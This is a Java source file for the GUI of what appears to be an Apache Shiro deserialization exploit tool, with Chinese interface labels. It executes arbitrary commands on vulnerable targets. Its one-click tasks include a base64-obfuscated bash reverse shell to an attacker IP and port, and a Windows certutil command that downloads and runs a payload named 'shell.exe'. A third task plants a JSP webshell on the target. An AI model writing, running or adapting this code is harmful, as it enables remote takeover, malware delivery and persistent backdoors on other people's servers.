package com.shiroexploit.gui;

import com.shiroexploit.util.ExploitFailedException;
import com.shiroexploit.util.Tools;
import com.shiroexploit.vulnverifier.Verifier;
import com.shiroexploit.vulnverifier.VerifierFactory;
import javafx.application.Platform;
import javafx.beans.value.ChangeListener;
import javafx.beans.value.ObservableValue;
import javafx.collections.FXCollections;
import javafx.event.ActionEvent;
import javafx.event.EventHandler;
import javafx.geometry.Insets;
import javafx.geometry.Pos;
import javafx.scene.control.*;
import javafx.scene.input.KeyCode;
import javafx.scene.input.KeyEvent;
import javafx.scene.layout.*;
import java.io.PrintStream;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.Base64;
import java.util.List;

public class MainPane {
    private TextField cmd = new TextField();
    private TextArea textArea = new TextArea();
    private Button execute = new Button();
    private CheckBox clickToPwn = new CheckBox("简便操作");
    private ComboBox<String> simpleTask = new ComboBox<>();
    private TextField textField = new TextField();
    private Button fire = new Button("Fire");
    private BorderPane borderPane = new BorderPane();
    private PrintStream printStream;
    private Verifier verifier;
    private Label commandLabel = new Label("命令");

    public MainPane(){
        drawPane();
        addListeners();
        //如此一来，简单太多了，原来的代码也不需要修改
        //参考 https://blog.csdn.net/qq_41886200/article/details/93711993
        printStream = new PrintStream(new Console(textArea));
        System.setOut(printStream);
        System.setErr(printStream);
        verifier = VerifierFactory.getInstance().getVerifier();
    }

    public Pane getPane() {
        return borderPane;
    }

    private void addListeners(){
        execute.setOnAction(new EventHandler<ActionEvent>() {
            @Override
            public void handle(ActionEvent event) {
                String command = cmd.getText().trim();
                if(command == null || command.equals("")){
                    PromptMessageUI.getAlert("输入错误","请输入一条有效的命令");
                    return;
                }

                commandLabel.setDisable(true);
                cmd.setDisable(true);
                execute.setDisable(true);
                new Thread(new Runnable() {
                    @Override
                    public void run() {
                        String result = verifier.executeCmd(command);
                        if(result != null){
                            System.out.println(result);
                        }
                        commandLabel.setDisable(false);
                        cmd.setDisable(false);
                        execute.setDisable(false);
                        cmd.clear();
                        Platform.runLater(new Runnable() {
                            @Override
                            public void run() {
                                cmd.requestFocus();
                            }
                        });
                    }
                }).start();
            }
        });

        cmd.setOnKeyPressed(new EventHandler<KeyEvent>() {
            @Override
            public void handle(KeyEvent event) {
                //按Enter键时，具有和点击“执行”按钮同样的效果
                if(event.getCode() == KeyCode.ENTER){
                    execute.fire();
                }
            }
        });

        clickToPwn.selectedProperty().addListener(new ChangeListener<Boolean>() {
            @Override
            public void changed(ObservableValue<? extends Boolean> observable, Boolean oldValue, Boolean newValue) {
                if(clickToPwn.isSelected()){
                    commandLabel.setDisable(true);
                    cmd.setDisable(true);
                    execute.setDisable(true);

                    simpleTask.setDisable(false);
                    textField.setDisable(false);
                    fire.setDisable(false);
                }else{
                    commandLabel.setDisable(false);
                    cmd.setDisable(false);
                    execute.setDisable(false);

                    simpleTask.setDisable(true);
                    textField.setDisable(true);
                    fire.setDisable(true);
                }
            }
        });

        simpleTask.getSelectionModel().selectedItemProperty().addListener(new ChangeListener<String>() {
            @Override
            public void changed(ObservableValue<? extends String> observable, String oldValue, String newValue) {

                if(newValue.contains("Linux")){
                    textField.setPromptText("12.34.56.78:443");
                }else if(newValue.contains("Windows")){
                    textField.setPromptText("http://www.mydomain.com/backdoor.exe");
                }else{
                    textField.setPromptText("http://www.targetdomain.com/upload/myshell.jsp");
                }
            }
        });

        fire.setOnAction(new EventHandler<ActionEvent>() {
            @Override
            public void handle(ActionEvent event) {
                String text = textField.getText();

                if (simpleTask.getSelectionModel().getSelectedIndex() == 0) {
                    if(text == null || text.trim().equals("")){
                        PromptMessageUI.getAlert("输入错误","反弹地址不能为空!");
                        return;
                    }

                    String ip = text.split(":", 2)[0];
                    String port;
                    if (text.contains(":")) {
                        port = text.split(":", 2)[1];
                    } else {
                        port = "80";
                    }

                    if (!checkIp(ip)) {
                        PromptMessageUI.getAlert("输入错误", "请输入一个有效的IP地址！");
                        return;
                    }

                    if (!checkPort(port)) {
                        PromptMessageUI.getAlert("输入错误", "请输入一个有效的端口！");
                        return;
                    }

                    clickToPwn.setDisable(true);
                    simpleTask.setDisable(true);
                    textField.setDisable(true);
                    fire.setDisable(true);

                    new Thread(new Runnable() {
                        @Override
                        public void run() {
                            String command = "bash -i >& /dev/tcp/" + ip + "/" + port + " 0>&1";
                            Base64.Encoder encoder = Base64.getEncoder();
                            command = encoder.encodeToString(command.getBytes());
                            command = "bash -c {echo," + command + "}|{base64,-d}|{bash,-i}";

                            verifier.executeCmd(command);

                            clickToPwn.setDisable(false);
                            simpleTask.setDisable(false);
                            textField.setDisable(false);
                            fire.setDisable(false);
                        }
                    }).start();
                } else if (simpleTask.getSelectionModel().getSelectedIndex() == 1) {
                    if(text == null || text.trim().equals("")){
                        PromptMessageUI.getAlert("输入错误","下载地址不能为空!");
                        return;
                    }

                    clickToPwn.setDisable(true);
                    simpleTask.setDisable(true);
                    textField.setDisable(true);
                    fire.setDisable(true);

                    new Thread(new Runnable() {
                        @Override
                        public void run() {
                            String command = "certutil.exe -urlcache -split -f " + text + " shell.exe & shell.exe";
                            verifier.executeCmd(command);

                            clickToPwn.setDisable(false);
                            simpleTask.setDisable(false);
                            textField.setDisable(false);
                            fire.setDisable(false);
                        }
                    }).start();
                } else {
                    if(text == null || text.trim().equals("")){
                        PromptMessageUI.getAlert("输入错误","Webshell目标地址不能为空!");
                        return;
                    }

                    URL u = null;
                    try {
                        u = new URL(text);
                    } catch (MalformedURLException e) {
                        PromptMessageUI.getAlert("输入错误","Webshell目标地址不是一个有效的 URL!");
                        return;
                    }

                    clickToPwn.setDisable(true);
                    simpleTask.setDisable(true);
                    textField.setDisable(true);
                    fire.setDisable(true);

                    new Thread(new Runnable() {
                        @Override
                        public void run() {
                            List<String> paths = Tools.getPaths(text);

                            for(String p : paths) {
                                String command = "directive:Shell:" + p;
                                verifier.executeCmd(command);
                            }

                            System.out.println("[+] Your webshell path: "  + text);


                            clickToPwn.setDisable(false);
                            simpleTask.setDisable(false);
                            textField.setDisable(false);
                            fire.setDisable(false);
                        }
                    }).start();
                }
            }
        });


        //当textarea获得焦点时，清除其中的文字
        //参考http://www.it1352.com/960364.html
//        cmd.focusedProperty().addListener(new ChangeListener<Boolean>() {
//            @Override
//            public void changed(ObservableValue<? extends Boolean> observable, Boolean oldValue, Boolean newValue) {
//                if(newValue){
//                    cmd.clear();
//                }
//            }
//        });
    }

    private boolean checkPort(String port) {
        try{
            int p = Integer.parseInt(port);
            if(p > 0 && p < 65535){
                return true;
            }

            return false;
        }catch(NumberFormatException e){
            return false;
        }

    }

    private boolean checkIp(String ip) {
        try{
            String[] parts = ip.split("\\.");
            if(parts.length != 4) return false;

            for(String part : parts){
                int p = Integer.parseInt(part);
                if(p < 0 || p > 255){
                    return false;
                }
            }

            return true;
        }catch(Exception e){
            return false;
        }
    }

    private void drawPane(){
        BorderPane top = new BorderPane();
        top.setPadding(new Insets(10,10,10,10));

        commandLabel.setPrefHeight(35);
        commandLabel.setDisable(true);
        top.setMargin(commandLabel, new Insets(0,10,0,0));
        cmd.setPrefHeight(35);
        cmd.setDisable(true);
        top.setLeft(commandLabel);
        top.setCenter(cmd);

        execute.setText("执行");
        execute.setDisable(true);
        top.setMargin(execute, new Insets(0,0,0,10));
        top.setRight(execute);

        GridPane gridPane = new GridPane();
        gridPane.setAlignment(Pos.CENTER);
        gridPane.setHgap(10);
        gridPane.setVgap(20);
        gridPane.setPadding(new Insets(10,0,10,0));

        clickToPwn.setDisable(true);
        gridPane.setColumnSpan(clickToPwn,1 );
        gridPane.add(clickToPwn, 0, 0);

        List<String> data = new ArrayList<>();
        data.add("反弹Shell(Linux)");
        data.add("反弹Shell(Windows)");
        data.add("获取WebShell");
        simpleTask.setDisable(true);
        simpleTask.setItems(FXCollections.observableArrayList(data));
        simpleTask.getSelectionModel().select(2);
        gridPane.setColumnSpan(simpleTask, 2);
        gridPane.add(simpleTask, 1,0);

        gridPane.setColumnSpan(textField, 4);
        textField.setPromptText("http://www.xxx.com/aaa/myshell.jsp");
        textField.setDisable(true);
        textField.setPrefWidth(400);
        gridPane.add(textField, 3, 0);

        fire.setDisable(true);
        gridPane.setColumnSpan(fire, 1);
        gridPane.add(fire, 7, 0);

        VBox vBox = new VBox();
        vBox.getChildren().addAll(top, gridPane);

        textArea.setEditable(false);
        textArea.setWrapText(true);

        borderPane.setPadding(new Insets(10,10,10,10));
        borderPane.setTop(vBox);
        borderPane.setCenter(textArea);
        borderPane.setMargin(textArea, new Insets(10,10,10,10));
    }

    public void startRuning(){

        Thread thread = new Thread(new Runnable() {
            @Override
            public void run() {
                try {
                    verifier.getValidGadget();
                    commandLabel.setDisable(false);
                    cmd.setDisable(false);
                    execute.setDisable(false);
                    clickToPwn.setDisable(false);
                } catch (ExploitFailedException e) {
                    System.out.println(e.getMessage());
                    System.out.println("[!] Target is not vulnerable or can not exploit");
                    Platform.runLater(new Runnable() {
                        @Override
                        public void run() {
                            PromptMessageUI.getAlert("检测失败","目标应用不存在相应漏洞或者无法找到可利用的反序列化Gadget!");
                        }
                    });
                }
            }
        });
        thread.start();
    }
}
